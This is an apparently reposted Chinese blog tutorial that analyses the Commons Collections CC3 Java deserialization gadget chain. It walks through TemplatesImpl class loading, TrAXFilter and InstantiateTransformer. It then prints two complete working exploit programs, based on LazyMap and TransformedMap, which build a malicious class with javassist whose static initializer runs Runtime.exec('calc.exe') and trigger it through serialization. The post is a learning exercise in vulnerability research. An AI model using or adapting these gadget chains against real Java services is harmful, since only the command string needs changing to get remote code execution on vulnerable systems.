0


Java安全 CC链3分析

Java安全 CC链3分析

cc链3介绍

cc链3的后半部分与cc链1相同,都是通过TransformedMap类或LazyMap类触发transform方法,从而触发核心链,与cc1不同的是,cc链3的核心链用到了类在加载初始化时会自动执行静态方法

有关环境配置和CC链3后接的CC链1部分解析可查看以下两篇文章

Java安全 CC链1分析
Java安全 CC链1分析(Lazymap类)

前置知识

类加载

java类加载的机制如下

1709883536887.png

java中的类在使用时只会被加载一次,当第一次使用某个类时,Java虚拟机会查找并加载相应的class文件,并将其转换成可执行的字节码。加载完成后,该类的定义信息将存储在方法区中,供后续使用

类在加载成功初始化时静态代码块会被执行

在同一个类加载器的作用范围内,如果再次加载同一个类,Java虚拟机会直接返回已经加载过的类的定义信息,而不会重新加载和初始化。这也意味着类静态代码块只会执行一次。

cc链3就是通过对初始化时的静态代码植入恶意代码,从而命令执行

类加载的方法

这里是一个demo

我们来探究其中的代码什么情况下会执行

publicclass demo1 {static{System.out.println(1);}publicdemo1(){System.out.println(2);}}

例1.forName

我们测试forName方法加载类是否会触发的静态代码

String url ="org.example.cc3.demo1";Class<?> className =Class.forName(url);//输出1
test test1 =(test) className.newInstance();//输出2 

例2.getSystemClassLoader

我们测试getSystemClassLoader方法加载类是否会触发的静态代码

String url ="org.example.cc3.demo1";ClassLoader loader =ClassLoader.getSystemClassLoader();Class<?> clazz = loader.loadClass(url2);//输出空
test test2 =(test) clazz.newInstance();//输出1和2

总结

  • forName方法加载类的时候会自动初始化类,从而触发静态代码,输出1
  • loadClass方法只会加载类,不会初始化类,从而不会触发静态代码,故输出空白
  • newInstance方法会实例化类并初始化类,但类在加载时只会被初始化一次,故例1中newInstance方法只会输出构造方法中的2,而例2中会输出静态代码中的1和构造方法中的2

javassist模块

exp里我们使用了javassist模块来创建具有恶意代码的类的字节码,这里简述一下常用的方法,不再过多赘述

exp中关键代码如下

ClassPool pool =ClassPool.getDefault();
        pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="EvilCat"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes =newbyte[][]{classBytes};
  • ClassPool pool = ClassPool.getDefault(); - 获取默认的类池对象。
  • pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); - 插入一个类路径,这里是插入了 AbstractTranslet 类的类路径。
  • CtClass cc = pool.makeClass("Cat"); - 使用类池创建一个新的类 Cat
  • String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; - 准备一个待插入到类初始化器中的恶意命令,这里是执行 calc.exe(Windows 计算器)。
  • cc.makeClassInitializer().insertBefore(cmd); - 在类初始化器中插入刚才准备的恶意命令。
  • String randomClassName = "EvilCat" + System.nanoTime(); - 创建一个随机的类名。
  • cc.setName(randomClassName); - 将类的名称设置为刚才生成的随机类名。
  • cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); - 设置新建类的父类为 AbstractTranslet
  • cc.writeFile(); - 将生成的类文件写入磁盘。
  • byte[] classBytes = cc.toBytecode(); - 获取生成类的字节码。
  • byte[][] targetByteCodes = new byte[][]{classBytes}; - 将类字节码存储在一个二维数组中

cc链3分析

TemplatesImpl类

这里我们用

TemplatesImpl类

进行类加载,触发类中的静态方法

TemplatesImpl类中是使用ClassLoader中的loadClass方法加载类的,故不能初始化类,需要配合newInstance方法才可以初始化类,从而触发静态方法

ClassLoader方法

加载一个类时,如果这个类之前没有被加载过,它会调用

自身的 defineClass()

方法来将类的字节码转换为

Class 对象

我们先查看下

TemplatesImpl类

中的

defineClass方法

该方法属于静态类TransletClassLoader),代码如下

TemplatesImpl类是ClassLoader类的一个子类,重写了defineClass方法和loadClass方法

staticfinalclassTransletClassLoaderextendsClassLoader{ 
    …………
    ClassdefineClass(finalbyte[] b){returndefineClass(null, b,0, b.length);}
    …………
}

我们再来看一下哪里调用了

defineClass方法

,右键查看用法,我们找到

defineTransletClasses方法

调用了该方法,关键代码如下

privatevoiddefineTransletClasses()throwsTransformerConfigurationException{if(_bytecodes ==null){ErrorMsg err =newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoader loader =(TransletClassLoader)
……………………
            for(int i =0; i < classCount; i++){
                _class[i]= loader.defineClass(_bytecodes[i]);//调用defineClassfinalClass superClass = _class[i].getSuperclass();

………………
    }

我们看到

loader对象

是对

静态类TransletClassLoader

的一个引用,通过一个for循环来加载文件中类的字节码到class[i]数组,关键代码为

class[i] = loader.defineClass(_bytecodes[i])

但是

defineTransletClasses方法

私有的,我们再右键查看一下哪里调用了

defineTransletClasses方法

1709883561272.png

我们来到

getTransletInstance方法

,关键代码如下

privateTransletgetTransletInstance()throwsTransformerConfigurationException{try{if(_name ==null)returnnull;if(_class ==null)defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();
            ………………
      }

我们看到只要满足

_name != null

_class == null

这两个条件就会执行defineTransletClasses()方法加载类,然后执行

newInstance()方法

初始化类执行静态代码

但是getTransletInstance方法也是私有的,我们再来看看哪里调用了

getTransletInstance方法

,右键查看用法,我们来到了

newTransformer方法

,这个方法是公有的,代码如下

这里我们发现

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

,该行代码是把我们加载的字节码对象实例化为AbstractTranslet类型的对象,故我们需要将构造的字节码对象的父类设置为AbstractTranslet

publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpl transformer;//下行代码调用了getTransletInstance()方法
    transformer =newTransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);if(_uriResolver !=null){
        transformer.setURIResolver(_uriResolver);}if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)){
        transformer.setSecureProcessing(true);}return transformer;}

demo2

我们先来看下

TemplatesImpl类

中各属性的初始值

1709883589022.png

demo中需要满足的条件如下

  1. _bytecodes属性为有静态恶意代码的类字节码
  2. _name属性不为空
  3. _tfactory属性赋值为TransformerFactoryImpl()类
  4. _class属性为空

这里我们就上面的发现写一条中间的链,测试一下

packageorg.example;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassClassPath;importjavassist.ClassPool;importjavassist.CtClass;importjava.lang.reflect.*;publicclass cc31 {publicstaticvoidmain(String[] args)throwsException{ClassPool pool =ClassPool.getDefault();
        pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="EvilCat"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes =newbyte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates =newTemplatesImpl();Class tc = templates.getClass();Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byField.set(templates,targetByteCodes);//传进去恶意字节码文件Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");//给_name赋值,不为空Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,newTransformerFactoryImpl());
        templates.newTransformer();}}

我们来讲下为什么需要给

_tfactory属性

赋值,这里我们来到之前的

defineTransletClasses类

中,发现有该段代码

AccessController.doPrivileged(newPrivilegedAction(){publicObjectrun(){returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});

这里调用了

_tfactory.getExternalExtensionsMap()

方法,我们看下**_tfactory属性的初始值**,右键转到声明

privatetransientTransformerFactoryImpl _tfactory =null;

发现初始值为null,null当然没有getExternalExtensionsMap()方法,这样的话会导致demo运行出错,我们再次右键查看

_tfactory属性

的用法,查看在哪赋值

1709883627999.png

我们发现

_tfactory属性

会在当前对象执行

readObject方法

,也就是反序列化的时候被赋值为TransformerFactoryImpl()类,但是我们这个是中期demo,并不涉及反序列化,故需要手动设**_tfactory属性为TransformerFactoryImpl()类**

我们运行demo成功弹出计算器

1709883646539.png

TrAXFilter类

接下来我们便查看哪里调用了

TemplatesImpl类

newTransformer方法

,我们来到

TrAXFilter类

,发现其构造方法会调用

newTransformer方法
publicTrAXFilter(Templates templates)throwsTransformerConfigurationException{
    _templates = templates;
    _transformer =(TransformerImpl) templates.newTransformer();//这里
    _transformerHandler =newTransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();}

我们只需在构造方法中传入templates为TemplatesImpl对象即可

InstantiateTransformer类

我们需要把前面的demo2接上cc1的后半段,这就需要用到transform方法了

我们查看下

InstantiateTransformer类

transform方法
publicObjecttransform(Object input){try{//不是class对象则抛出异常if(input instanceofClass==false){thrownewFunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+(input ==null?"null object": input.getClass().getName()));}//获取构造器Constructor con =((Class) input).getConstructor(iParamTypes);//实例化对象return con.newInstance(iArgs);}catch(NoSuchMethodException ex){thrownewFunctorException("InstantiateTransformer: The constructor must exist and be public ");}catch(InstantiationException ex){thrownewFunctorException("InstantiateTransformer: InstantiationException", ex);}catch(IllegalAccessException ex){thrownewFunctorException("InstantiateTransformer: Constructor must be public", ex);}catch(InvocationTargetException ex){thrownewFunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}

发现该

transform方法

会根据传入的input类型参数去通过反射实例化一个类

我们需要将input参数设置为TrAXFilter类的class对象(通过ChainedTransformer的循环调用transform方法实现)

然后我们再查看下

InstantiateTransformer类

构造方法,代码如下

publicInstantiateTransformer(Class[] paramTypes,Object[] args){super();
        iParamTypes = paramTypes;
        iArgs = args;}

发现

transform方法

里的iParamTypes和iArgs参数可控,我们需要将iParamTypes设置为TrAXFilter类构造方法的参数类型,以便正确获得构造器,从而实例化

然后把

iArgs参数

设置为

TemplatesImpl对象

,从而在实例化TrAXFilter对象的时候,把TrAXFilter对象的构造方法中

_templates属性

赋值为

TemplatesImpl对象

,从而在TrAXFilter对象的构造方法中调用

TemplatesImpl对象

newTransformer()方法

,从而加载静态代码做到恶意代码执行

最终exp

基于LazyMap链

packageorg.example;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;importjavassist.ClassClassPath;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InstantiateTransformer;importorg.apache.commons.collections.map.LazyMap;importjavax.xml.transform.Templates;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.*;importjava.util.HashMap;importjava.util.Map;publicclass cc3 {publicstaticvoidmain(String[] args)throwsException{//使用Javassit新建一个含有static的类ClassPool pool =ClassPool.getDefault();
        pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="EvilCat"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes =newbyte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates =TemplatesImpl.class.newInstance();setFieldValue(templates,"_bytecodes", targetByteCodes);setFieldValue(templates,"_name","blckder02");setFieldValue(templates,"_class",null);//实例化新建类Transformer[] transformers =newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})};ChainedTransformer transformerChain =newChainedTransformer(transformers);//调用get()中的transform方法HashMap innermap =newHashMap();LazyMap outerMap =(LazyMap)LazyMap.decorate(innermap,transformerChain);//设置代理,触发invoke()调用get()方法Class cls1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = cls1.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);InvocationHandler handler1 =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler1);InvocationHandler handler2 =(InvocationHandler)construct.newInstance(Retention.class, proxyMap);try{ObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("./cc3.bin"));
            outputStream.writeObject(handler2);
            outputStream.close();ObjectInputStream inputStream =newObjectInputStream(newFileInputStream("./cc3.bin"));
            inputStream.readObject();}catch(Exception e){
            e.printStackTrace();}}publicstaticvoidsetFieldValue(finalObject obj,finalString fieldName,finalObject value)throwsException{finalField field =getField(obj.getClass(), fieldName);
        field.set(obj, value);}publicstaticFieldgetField(finalClass<?> clazz,finalString fieldName){Field field =null;try{
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);}catch(NoSuchFieldException ex){if(clazz.getSuperclass()!=null)
                field =getField(clazz.getSuperclass(), fieldName);}return field;}}

基于TransformedMap链

packageorg.example;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;importjavassist.ClassClassPath;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InstantiateTransformer;importorg.apache.commons.collections.map.TransformedMap;importjavax.xml.transform.Templates;importjava.io.*;importjava.lang.reflect.*;importjava.util.HashMap;importjava.util.Map;publicclass cc3 {publicstaticvoidmain(String[] args)throwsException{//使用Javassit新建一个含有static的类ClassPool pool =ClassPool.getDefault();
        pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="EvilCat"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes =newbyte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates =TemplatesImpl.class.newInstance();setFieldValue(templates,"_bytecodes", targetByteCodes);setFieldValue(templates,"_name","blckder02");setFieldValue(templates,"_class",null);//实例化新建类Transformer[] transformers =newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})};ChainedTransformer transformerChain =newChainedTransformer(transformers);//触发利用链Map map =newHashMap();
        map.put("value","test");Map transformedMap  =TransformedMap.decorate(map,null, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);ByteArrayOutputStream baos =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(baos);
        oos.writeObject(instance);
        oos.close();ByteArrayInputStream bais =newByteArrayInputStream(baos.toByteArray());ObjectInputStream ois =newObjectInputStream(bais);Object obj =(Object) ois.readObject();}publicstaticvoidsetFieldValue(finalObject obj,finalString fieldName,finalObject value)throwsException{finalField field =getField(obj.getClass(), fieldName);
        field.set(obj, value);}publicstaticFieldgetField(finalClass<?> clazz,finalString fieldName){Field field =null;try{
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);}catch(NoSuchFieldException ex){if(clazz.getSuperclass()!=null)
                field =getField(clazz.getSuperclass(), fieldName);}return field;}}

本文转载自: https://blog.csdn.net/Elite__zhb/article/details/136564217
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。

“Java安全 CC链3分析”的评论:

还没有评论